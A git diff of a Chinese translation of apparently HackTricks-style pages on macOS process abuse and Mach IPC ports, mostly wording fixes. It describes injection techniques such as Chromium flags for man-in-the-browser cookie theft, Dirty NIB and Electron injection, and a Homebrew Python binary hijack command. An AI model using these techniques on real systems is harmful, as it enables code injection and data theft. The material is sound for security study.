使用 QoS 类,开发人员不需要管理确切的优先级数字,而是专注于任务的性质,系统会相应地优化 CPU 资源。
|
||||
|
||||
此外,还有不同的 **线程调度策略**,用于指定调度器将考虑的一组调度参数。这可以通过 `thread_policy_[set/get]` 来完成。这在竞争条件攻击中可能会很有用。
|
||||
此外,还有不同的 **线程调度策略**,用于指定调度程序将考虑的一组调度参数。这可以通过 `thread_policy_[set/get]` 来完成。这在竞争条件攻击中可能会很有用。
|
||||
|
||||
## MacOS 进程滥用
|
||||
|
||||
MacOS 像其他操作系统一样,提供多种方法和机制供 **进程交互、通信和共享数据**。虽然这些技术对系统的高效运行至关重要,但也可能被威胁行为者滥用以 **执行恶意活动**。
|
||||
MacOS 像其他操作系统一样,提供多种方法和机制供 **进程交互、通信和共享数据**。虽然这些技术对于高效的系统功能至关重要,但也可能被威胁行为者滥用以 **执行恶意活动**。
|
||||
|
||||
### 库注入
|
||||
|
||||
@ -161,7 +161,7 @@ macos-function-hooking.md
|
||||
|
||||
### 进程间通信
|
||||
|
||||
进程间通信 (IPC) 指的是不同方法,通过这些方法,独立进程 **共享和交换数据**。虽然 IPC 对许多合法应用程序至关重要,但也可能被滥用以破坏进程隔离、泄露敏感信息或执行未经授权的操作。
|
||||
进程间通信 (IPC) 指的是不同进程 **共享和交换数据** 的不同方法。虽然 IPC 对许多合法应用程序至关重要,但也可能被滥用以破坏进程隔离、泄露敏感信息或执行未经授权的操作。
|
||||
|
||||
{{#ref}}
|
||||
macos-ipc-inter-process-communication/
|
||||
@ -169,7 +169,7 @@ macos-ipc-inter-process-communication/
|
||||
|
||||
### Electron 应用程序注入
|
||||
|
||||
使用特定环境变量执行的 Electron 应用程序可能容易受到进程注入的攻击:
|
||||
使用特定环境变量执行的 Electron 应用程序可能会受到进程注入的影响:
|
||||
|
||||
{{#ref}}
|
||||
macos-electron-applications-injection.md
|
||||
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
|
||||
|
||||
### Chromium 注入
|
||||
|
||||
可以使用标志 `--load-extension` 和 `--use-fake-ui-for-media-stream` 执行 **浏览器中的人攻击**,从而窃取击键、流量、cookie,在页面中注入脚本...:
|
||||
可以使用 `--load-extension` 和 `--use-fake-ui-for-media-stream` 标志执行 **浏览器中的人攻击**,从而窃取击键、流量、cookie,在页面中注入脚本...:
|
||||
|
||||
{{#ref}}
|
||||
macos-chromium-injection.md
|
||||
@ -185,7 +185,7 @@ macos-chromium-injection.md
|
||||
|
||||
### 脏 NIB
|
||||
|
||||
NIB 文件 **定义用户界面 (UI) 元素** 及其在应用程序中的交互。然而,它们可以 **执行任意命令**,而且 **Gatekeeper 不会阻止** 已执行的应用程序在 **NIB 文件被修改** 后继续执行。因此,它们可以用于使任意程序执行任意命令:
|
||||
NIB 文件 **定义用户界面 (UI) 元素** 及其在应用程序中的交互。然而,它们可以 **执行任意命令**,而且 **Gatekeeper 不会阻止** 已执行的应用程序在 **NIB 文件被修改** 后再次执行。因此,它们可以用于使任意程序执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
macos-dirty-nib.md
|
||||
@ -201,7 +201,7 @@ macos-java-apps-injection.md
|
||||
|
||||
### .Net 应用程序注入
|
||||
|
||||
可以通过 **滥用 .Net 调试功能**(未受到 macOS 保护,如运行时强化)向 .Net 应用程序注入代码。
|
||||
可以通过 **滥用 .Net 调试功能**(未受 macOS 保护,如运行时强化)向 .Net 应用程序注入代码。
|
||||
|
||||
{{#ref}}
|
||||
macos-.net-applications-injection.md
|
||||
@ -226,7 +226,7 @@ macos-ruby-applications-injection.md
|
||||
### Python 注入
|
||||
|
||||
如果环境变量 **`PYTHONINSPECT`** 被设置,Python 进程将在完成后进入 Python CLI。也可以使用 **`PYTHONSTARTUP`** 指定在交互会话开始时执行的 Python 脚本。\
|
||||
然而,请注意,当 **`PYTHONINSPECT`** 创建交互会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
|
||||
但是,请注意,当 **`PYTHONINSPECT`** 创建交互会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
|
||||
|
||||
其他环境变量如 **`PYTHONPATH`** 和 **`PYTHONHOME`** 也可能对执行任意代码的 Python 命令有用。
|
||||
|
||||
@ -234,7 +234,7 @@ macos-ruby-applications-injection.md
|
||||
|
||||
> [!CAUTION]
|
||||
> 总的来说,我找不到通过滥用环境变量使 Python 执行任意代码的方法。\
|
||||
> 然而,大多数人使用 **Hombrew** 安装 Python,这将把 Python 安装在 **可写位置**,供默认管理员用户使用。您可以通过以下方式劫持它:
|
||||
> 然而,大多数人使用 **Homebrew** 安装 Python,这将在 **可写位置** 为默认管理员用户安装 Python。您可以用以下方法劫持它:
|
||||
>
|
||||
> ```bash
|
||||
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
@ -257,11 +257,11 @@ macos-ruby-applications-injection.md
|
||||
- 使用 **环境变量**: 它将监控以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** 和 **`ELECTRON_RUN_AS_NODE`**
|
||||
- 使用 **`task_for_pid`** 调用: 查找一个进程何时想要获取 **另一个进程的任务端口**,这允许在该进程中注入代码。
|
||||
- **Electron 应用程序参数**: 有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数以调试模式启动 Electron 应用程序,从而注入代码。
|
||||
- 使用 **符号链接** 或 **硬链接**: 通常最常见的滥用是 **放置一个具有我们用户权限的链接**,并 **指向一个更高权限** 的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件具有 **不同的权限级别**,我们会创建一个 **警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目标的信息。这是 Apple 的 EndpointSecuriy 框架的一个限制。
|
||||
- 使用 **符号链接** 或 **硬链接**: 通常最常见的滥用是 **放置一个具有我们用户权限的链接**,并 **指向一个更高权限** 的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件具有 **不同的权限级别**,我们会创建一个 **警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目标的信息。这是 Apple 的 EndpointSecurity 框架的一个限制。
|
||||
|
||||
### 其他进程发出的调用
|
||||
|
||||
在 [**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) 中,您可以找到如何使用函数 **`task_name_for_pid`** 获取有关其他 **进程注入代码到一个进程** 的信息,然后获取有关该其他进程的信息。
|
||||
在 [**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) 中,您可以找到如何使用 **`task_name_for_pid`** 函数获取有关其他 **进程注入代码到一个进程** 的信息,然后获取该其他进程的信息。
|
||||
|
||||
请注意,要调用该函数,您需要与运行该进程的 **相同 uid** 或 **root**(并且它返回有关进程的信息,而不是注入代码的方法)。
|
||||
|
||||
|
||||
@ -10,28 +10,28 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,这些端口充当由内核管理的 **消息队列**。
|
||||
|
||||
**端口** 是 Mach IPC 的 **基本** 元素。它可以用来 **发送消息和接收** 消息。
|
||||
**端口** 是 Mach IPC 的 **基本** 元素。它可以用来 **发送和接收** 消息。
|
||||
|
||||
每个进程都有一个 **IPC 表**,在其中可以找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
一个进程还可以将一个端口名称和一些权限 **发送到不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
|
||||
一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是 ([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
|
||||
- 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- 如果接收权限的拥有者 **死亡** 或被杀死,**发送权限变得无用(死名)**。
|
||||
- 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- 如果接收权限的拥有者 **死亡** 或被杀死,**发送权限将变得无用(死名称)**。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**。
|
||||
- 请注意,**端口权限** 也可以通过 Mac 消息 **传递**。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- 该权限 **不能** 被 **克隆**,但可以被 **移动**。
|
||||
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死名**,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限变成死名。
|
||||
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用来同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死名称**,这不是一个实际的端口权限,而仅仅是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限都会变成死名称。
|
||||
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,允许任务之间有效通信。
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,使任务之间的有效通信成为可能。
|
||||
|
||||
### 文件端口
|
||||
|
||||
@ -45,17 +45,17 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
1. 任务 **A** 创建一个 **新端口**,获得该端口的 **接收权限**。
|
||||
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,并 **将其发送权限** 发送给它,用于最初生成的端口。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,并 **将其为最初生成的端口发送的发送权限** 发送给它。
|
||||
- 请记住,任何人都可以获得引导服务器的发送权限。
|
||||
4. 任务 A 向引导服务器发送 `bootstrap_register` 消息,以 **将给定端口与名称** 关联,如 `com.apple.taska`。
|
||||
5. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**(`bootstrap_lookup`)。因此,引导服务器可以响应,任务 B 将在查找消息中发送 **发送权限到它之前创建的端口**。如果查找成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。
|
||||
4. 任务 A 向引导服务器发送 `bootstrap_register` 消息,以 **将给定端口与名称关联**,如 `com.apple.taska`。
|
||||
5. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**(`bootstrap_lookup`)。因此,引导服务器可以响应,任务 B 将在查找消息中发送一个 **发送权限到它之前创建的端口**。如果查找成功,**服务器将复制从任务 A 接收到的发送权限** 并 **传输给任务 B**。
|
||||
- 请记住,任何人都可以获得引导服务器的发送权限。
|
||||
6. 通过这个发送权限,**任务 B** 能够 **发送** 一条 **消息** **给任务 A**。
|
||||
7. 对于双向通信,通常任务 **B** 会生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称**,然后批准每个请求。
|
||||
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**。
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 的目录中:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为这些服务名称创建并持有 **接收权限**。
|
||||
|
||||
对于这些预定义的服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
|
||||
|
||||
@ -63,7 +63,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
- **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。
|
||||
- 任务 **A**(服务)执行 **引导签到**(`bootstrap_check_in()`)。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。
|
||||
- launchd 复制 **发送权限并将其发送给任务 B**。
|
||||
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(svc),以便它可以向任务 B 发送消息(双向通信)。
|
||||
- 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作,这可能会允许冒充。
|
||||
|
||||
@ -74,7 +74,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面是实际的消息内容。该结构定义如下:
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -85,15 +85,15 @@ mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
进程拥有 _**接收权**_ 可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**_ 或 _**一次性发送权**_。一次性发送权仅用于发送单个消息,之后将失效。
|
||||
进程拥有 _**接收权**_ 可以在 Mach 端口上接收消息。相反,**发送者** 被授予 _**发送**_ 或 _**一次性发送权**_。一次性发送权专门用于发送单个消息,之后它将失效。
|
||||
|
||||
初始字段 **`msgh_bits`** 是一个位图:
|
||||
|
||||
- 第一个位(最重要的位)用于指示消息是否复杂(更多内容见下文)
|
||||
- 第一个位(最重要的位)用于指示消息是否复杂(下面会详细说明)
|
||||
- 第 3 位和第 4 位由内核使用
|
||||
- 第 2 字节的 **5 个最低有效位** 可用于 **凭证**:另一种发送键/值组合的端口类型。
|
||||
- 第 3 字节的 **5 个最低有效位** 可用于 **本地端口**
|
||||
- 第 4 字节的 **5 个最低有效位** 可用于 **远程端口**
|
||||
- **第二个字节的 5 个最低有效位** 可用于 **凭证**:另一种发送键/值组合的端口类型。
|
||||
- **第三个字节的 5 个最低有效位** 可用于 **本地端口**
|
||||
- **第四个字节的 5 个最低有效位** 可用于 **远程端口**
|
||||
|
||||
可以在凭证、本地和远程端口中指定的类型是(来自 [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
```c
|
||||
@ -108,7 +108,7 @@ mach_msg_id_t msgh_id;
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
|
||||
```
|
||||
例如,`MACH_MSG_TYPE_MAKE_SEND_ONCE` 可用于 **指示** 应该为此端口派生并转移一个 **一次性发送** **权利**。也可以指定 `MACH_PORT_NULL` 以防止接收者能够回复。
|
||||
例如,`MACH_MSG_TYPE_MAKE_SEND_ONCE` 可用于 **指示** 应该为此端口派生并转移一个 **一次性发送权**。也可以指定 `MACH_PORT_NULL` 以防止接收者能够回复。
|
||||
|
||||
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),接收该消息的 **接收者** 可以 **发送回复**。
|
||||
|
||||
@ -123,15 +123,15 @@ mach_msg_id_t msgh_id;
|
||||
- `msgh_id`: 此消息的 ID,由接收者解释。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,**mach 消息是通过 `mach port` 发送的**,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 通信通道。**多个进程**可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
> 请注意,**mach 消息是通过 `mach port` 发送的**,这是一个 **单接收者**、**多个发送者** 的通信通道,内置于 mach 内核中。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
|
||||
消息由 **`mach_msg_header_t`** 头部、**主体**和 **尾部**(如果有的话)组成,并且可以授予回复的权限。在这些情况下,内核只需将消息从一个任务传递到另一个任务。
|
||||
消息由 **`mach_msg_header_t`** 头部、**主体** 和 **尾部**(如果有的话)组成,并且可以授予回复的权限。在这些情况下,内核只需将消息从一个任务传递到另一个任务。
|
||||
|
||||
**尾部**是 **内核添加到消息的信息**(用户无法设置),可以在消息接收时通过标志 `MACH_RCV_TRAILER_<trailer_opt>` 请求(可以请求不同的信息)。
|
||||
**尾部** 是 **内核添加到消息的信息**(用户无法设置),可以在消息接收时使用标志 `MACH_RCV_TRAILER_<trailer_opt>` 请求(可以请求不同的信息)。
|
||||
|
||||
#### 复杂消息
|
||||
|
||||
然而,还有其他更 **复杂** 的消息,例如传递额外端口权利或共享内存的消息,在这些情况下,内核还需要将这些对象发送给接收者。在这种情况下,头部的最显著位 `msgh_bits` 被设置。
|
||||
然而,还有其他更 **复杂** 的消息,例如传递额外端口权或共享内存的消息,在这些情况下,内核还需要将这些对象发送给接收者。在这种情况下,头部的最显著位 `msgh_bits` 被设置。
|
||||
|
||||
可以传递的可能描述符在 [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) 中定义:
|
||||
```c
|
||||
@ -150,16 +150,16 @@ unsigned int pad3 : 24;
|
||||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
在32位中,所有描述符都是12B,描述符类型在第11个。在64位中,大小各不相同。
|
||||
在32位中,所有描述符都是12B,描述符类型在第11个字节中。在64位中,大小各不相同。
|
||||
|
||||
> [!CAUTION]
|
||||
> 内核会将描述符从一个任务复制到另一个任务,但首先**在内核内存中创建一个副本**。这种技术被称为“风水”,在多个漏洞中被滥用,使得**内核在其内存中复制数据**,使得一个进程将描述符发送给自己。然后该进程可以接收消息(内核会释放它们)。
|
||||
> 内核会将描述符从一个任务复制到另一个任务,但首先**在内核内存中创建一个副本**。这种技术被称为“风水”,在多个漏洞中被滥用,以使**内核在其内存中复制数据**,使一个进程将描述符发送给自己。然后,该进程可以接收消息(内核会释放它们)。
|
||||
>
|
||||
> 也可以**将端口权限发送给一个易受攻击的进程**,端口权限将直接出现在该进程中(即使它没有处理这些权限)。
|
||||
> 也可以**将端口权限发送到一个易受攻击的进程**,端口权限将直接出现在该进程中(即使它没有处理这些权限)。
|
||||
|
||||
### Mac Ports APIs
|
||||
|
||||
请注意,端口与任务命名空间相关联,因此要创建或搜索端口时,也会查询任务命名空间(更多内容见`mach/mach_port.h`):
|
||||
请注意,端口与任务命名空间相关联,因此要创建或搜索端口,还会查询任务命名空间(更多信息见`mach/mach_port.h`):
|
||||
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: **创建**一个端口。
|
||||
- `mach_port_allocate` 还可以创建一个**端口集**:对一组端口的接收权限。每当接收到消息时,会指明消息来自哪个端口。
|
||||
@ -168,7 +168,7 @@ mach_msg_descriptor_type_t type : 8;
|
||||
- `mach_port_type`: 获取任务对名称的权限
|
||||
- `mach_port_rename`: 重命名端口(类似于FD的dup2)
|
||||
- `mach_port_allocate`: 分配一个新的RECEIVE、PORT_SET或DEAD_NAME
|
||||
- `mach_port_insert_right`: 在你拥有RECEIVE的端口中创建一个新的权限
|
||||
- `mach_port_insert_right`: 在您拥有RECEIVE的端口中创建一个新权限
|
||||
- `mach_port_...`
|
||||
- **`mach_msg`** | **`mach_msg_overwrite`**: 用于**发送和接收mach消息**的函数。覆盖版本允许为消息接收指定不同的缓冲区(另一个版本将仅重用它)。
|
||||
|
||||
@ -176,7 +176,7 @@ mach_msg_descriptor_type_t type : 8;
|
||||
|
||||
由于**`mach_msg`**和**`mach_msg_overwrite`**是用于发送和接收消息的函数,因此在它们上设置断点将允许检查发送和接收的消息。
|
||||
|
||||
例如,开始调试任何你可以调试的应用程序,因为它将加载**`libSystem.B`,该库将使用此函数**。
|
||||
例如,开始调试您可以调试的任何应用程序,因为它将加载**`libSystem.B`,该库将使用此函数**。
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
|
||||
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
|
||||
@ -275,11 +275,11 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
||||
```
|
||||
procesp 1 ports
|
||||
```
|
||||
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载此工具来在 iOS 上安装它。
|
||||
您可以通过从 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) 下载此工具来安装它。
|
||||
|
||||
### 代码示例
|
||||
|
||||
注意 **发送者** 如何 **分配** 一个端口,为名称 `org.darlinghq.example` 创建一个 **发送权限** 并将其发送到 **引导服务器**,同时发送者请求该名称的 **发送权限** 并使用它来 **发送消息**。
|
||||
注意 **sender** 如何 **分配** 端口,为名称 `org.darlinghq.example` 创建 **发送权限** 并将其发送到 **引导服务器**,同时发送者请求该名称的 **发送权限** 并使用它来 **发送消息**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
@ -407,38 +407,38 @@ printf("Sent a message\n");
|
||||
|
||||
## 特权端口
|
||||
|
||||
有一些特殊端口允许在任务对其具有 **SEND** 权限的情况下 **执行某些敏感操作或访问某些敏感数据**。这使得这些端口从攻击者的角度来看非常有趣,不仅因为其能力,还因为可以 **在任务之间共享 SEND 权限**。
|
||||
有一些特殊端口允许在任务拥有**SEND**权限的情况下**执行某些敏感操作或访问某些敏感数据**。这使得这些端口从攻击者的角度来看非常有趣,不仅因为其能力,还因为可以**在任务之间共享SEND权限**。
|
||||
|
||||
### 主机特殊端口
|
||||
|
||||
这些端口由一个数字表示。
|
||||
|
||||
**SEND** 权限可以通过调用 **`host_get_special_port`** 获得,而 **RECEIVE** 权限则通过调用 **`host_set_special_port`** 获得。然而,这两个调用都需要 **`host_priv`** 端口,只有 root 可以访问。此外,在过去,root 能够调用 **`host_set_special_port`** 并劫持任意端口,例如通过劫持 `HOST_KEXTD_PORT` 来绕过代码签名(SIP 现在防止了这一点)。
|
||||
**SEND** 权限可以通过调用 **`host_get_special_port`** 获得,而 **RECEIVE** 权限则通过调用 **`host_set_special_port`** 获得。然而,这两个调用都需要 **`host_priv`** 端口,只有root可以访问。此外,过去root能够调用 **`host_set_special_port`** 并劫持任意端口,例如通过劫持 `HOST_KEXTD_PORT` 来绕过代码签名(SIP现在防止了这种情况)。
|
||||
|
||||
这些端口分为两组:**前 7 个端口由内核拥有**,分别是 1 `HOST_PORT`、2 `HOST_PRIV_PORT`、3 `HOST_IO_MASTER_PORT`,第 7 个是 `HOST_MAX_SPECIAL_KERNEL_PORT`。\
|
||||
从数字 **8** 开始的端口是 **由系统守护进程拥有**,可以在 [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) 中找到声明。
|
||||
这些端口分为两组:**前7个端口由内核拥有**,分别是 1 `HOST_PORT`,2 `HOST_PRIV_PORT`,3 `HOST_IO_MASTER_PORT`,7 是 `HOST_MAX_SPECIAL_KERNEL_PORT`。\
|
||||
从数字 **8** 开始的端口是**由系统守护进程拥有**,可以在 [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) 中找到声明。
|
||||
|
||||
- **主机端口**:如果一个进程对这个端口具有 **SEND** 权限,它可以通过调用其例程获取 **系统** 的 **信息**,例如:
|
||||
- **主机端口**:如果一个进程对这个端口拥有**SEND**权限,它可以通过调用其例程获取**系统**的信息,例如:
|
||||
- `host_processor_info`: 获取处理器信息
|
||||
- `host_info`: 获取主机信息
|
||||
- `host_virtual_physical_table_info`: 虚拟/物理页表(需要 MACH_VMDEBUG)
|
||||
- `host_statistics`: 获取主机统计信息
|
||||
- `mach_memory_info`: 获取内核内存布局
|
||||
- **主机特权端口**:对这个端口具有 **SEND** 权限的进程可以执行 **特权操作**,例如显示启动数据或尝试加载内核扩展。**进程需要是 root** 才能获得此权限。
|
||||
- 此外,为了调用 **`kext_request`** API,需要拥有其他权限 **`com.apple.private.kext*`**,这些权限仅授予 Apple 二进制文件。
|
||||
- **主机特权端口**:一个对这个端口拥有**SEND**权限的进程可以执行**特权操作**,例如显示启动数据或尝试加载内核扩展。**进程需要是root**才能获得此权限。
|
||||
- 此外,为了调用 **`kext_request`** API,需要拥有其他权限 **`com.apple.private.kext*`**,这些权限仅授予Apple二进制文件。
|
||||
- 可以调用的其他例程包括:
|
||||
- `host_get_boot_info`: 获取 `machine_boot_info()`
|
||||
- `host_priv_statistics`: 获取特权统计信息
|
||||
- `vm_allocate_cpm`: 分配连续物理内存
|
||||
- `host_processors`: 发送权限到主机处理器
|
||||
- `mach_vm_wire`: 使内存常驻
|
||||
- 由于 **root** 可以访问此权限,它可以调用 `host_set_[special/exception]_port[s]` 来 **劫持主机特殊或异常端口**。
|
||||
- 由于**root**可以访问此权限,它可以调用 `host_set_[special/exception]_port[s]` 来**劫持主机特殊或异常端口**。
|
||||
|
||||
可以通过运行以下命令 **查看所有主机特殊端口**:
|
||||
可以通过运行以下命令**查看所有主机特殊端口**:
|
||||
```bash
|
||||
procexp all ports | grep "HSP"
|
||||
```
|
||||
### Task Special Ports
|
||||
### 任务特殊端口
|
||||
|
||||
这些端口是为知名服务保留的。可以通过调用 `task_[get/set]_special_port` 来获取/设置它们。它们可以在 `task_special_ports.h` 中找到:
|
||||
```c
|
||||
@ -451,51 +451,51 @@ world.*/
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
从 [这里](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
|
||||
从[这里](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
|
||||
|
||||
- **TASK_KERNEL_PORT**\[task-self send right]: 用于控制此任务的端口。用于发送影响任务的消息。这是由 **mach_task_self (见下文的任务端口)** 返回的端口。
|
||||
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: 任务的引导端口。用于发送请求返回其他系统服务端口的消息。
|
||||
- **TASK_HOST_NAME_PORT**\[host-self send right]: 用于请求包含主机信息的端口。这是由 **mach_host_self** 返回的端口。
|
||||
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: 命名此任务从中提取其有线内核内存的源的端口。
|
||||
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: 命名此任务从中提取其默认内存管理内存的源的端口。
|
||||
- **TASK_KERNEL_PORT**\[task-self send right]:用于控制此任务的端口。用于发送影响任务的消息。这是由**mach_task_self(见下文的任务端口)**返回的端口。
|
||||
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]:任务的引导端口。用于发送请求返回其他系统服务端口的消息。
|
||||
- **TASK_HOST_NAME_PORT**\[host-self send right]:用于请求包含主机信息的端口。这是由**mach_host_self**返回的端口。
|
||||
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]:命名此任务从中提取其有线内核内存的源的端口。
|
||||
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]:命名此任务从中提取其默认内存管理内存的源的端口。
|
||||
|
||||
### 任务端口
|
||||
|
||||
最初,Mach没有“进程”,它有“任务”,这被认为更像是线程的容器。当Mach与BSD合并时,**每个任务都与一个BSD进程相关联**。因此,每个BSD进程都有其作为进程所需的详细信息,每个Mach任务也有其内部工作(除了不存在的pid 0,即 `kernel_task`)。
|
||||
最初,Mach没有“进程”,它有“任务”,被认为更像是线程的容器。当Mach与BSD合并时,**每个任务与一个BSD进程相关联**。因此,每个BSD进程都有其作为进程所需的详细信息,每个Mach任务也有其内部工作(除了不存在的pid 0,即`kernel_task`)。
|
||||
|
